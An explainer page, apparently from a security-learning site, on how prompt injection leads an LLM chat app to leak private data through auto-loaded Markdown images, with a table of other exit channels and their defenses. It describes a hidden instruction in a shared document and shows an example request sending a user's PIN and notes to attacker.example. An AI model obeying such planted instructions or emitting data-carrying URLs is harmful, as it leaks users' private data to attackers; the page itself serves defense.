Data exfiltration from LLM apps: the zero-click image
An injected instruction can't steal data on its own. It needs a way out. Rendered Markdown images and links, tool calls and URL fetches are the usual exits. How the classic image trick works and how to close those doors.
In one sentence
If your chat UI auto-loads images from any domain, an injected prompt can put private data in an image URL and the browser will deliver it to the attacker. Control the output channels and limit what data the model sees.
The idea
The assistant has your private notes in its context and is asked to summarize a shared document. The document contains a hidden instruction: add an image whose URL includes the notes. The model writes the Markdown, your chat UI renders it, and the browser requests the image. That request is the leak, and nobody had to click anything.
Summary: the doc lists Q3 goals and owners. 
Summary: the doc lists Q3 goals and owners. 🖼
GET https://attacker.example/l.png?d=Bank%20PIN%20reminder%3A%204471%20%C2%B7%20Q3%20layoffs%20list%20draft✕ The browser fetches the image URL automatically: attacker.example receives your notes. No click needed.
Exit channels to watch
| Channel | How data leaves | Defense |
|---|---|---|
| Markdown images | Auto-loaded URL with data in the query string | Only load images from an allowlist (CSP img-src), or proxy and strip query strings |
| Links | User clicks a link carrying data | Show the real destination, warn on external links, or render as text |
| Tool calls | send_email, http_get, create_issue with data in the arguments | Allowlisted destinations, approval for external sends |
| Memory / shared docs | Data written where the attacker can read it later | Scope where the model can write |
Key takeaways
- 01Exfiltration needs an exit: images, links, tool calls or writes.
- 02Never auto-render images or links to arbitrary domains from model output.
- 03Apply the user's permissions to retrieval, and keep secrets out of the context.
- 04Treat model output like user input: escape, validate, allowlist.
Check your understanding
1 of 3
How can a chat UI leak data through an image?
Related concepts
Prompt injection
To a language model, everything is instructions. Assume any text it reads can hijack it, and limit what a hijacked model is able to do.
8 min read →XSS
XSS is injection into HTML instead of SQL. Escape output by default, never inject raw HTML, and add a Content Security Policy as the safety net.
8 min read →Agent permissions
An agent's blast radius is its tools × their scopes × whether anyone approves. Grant the minimum for the task, scope tokens to the user, and confirm anything irreversible.
6 min read →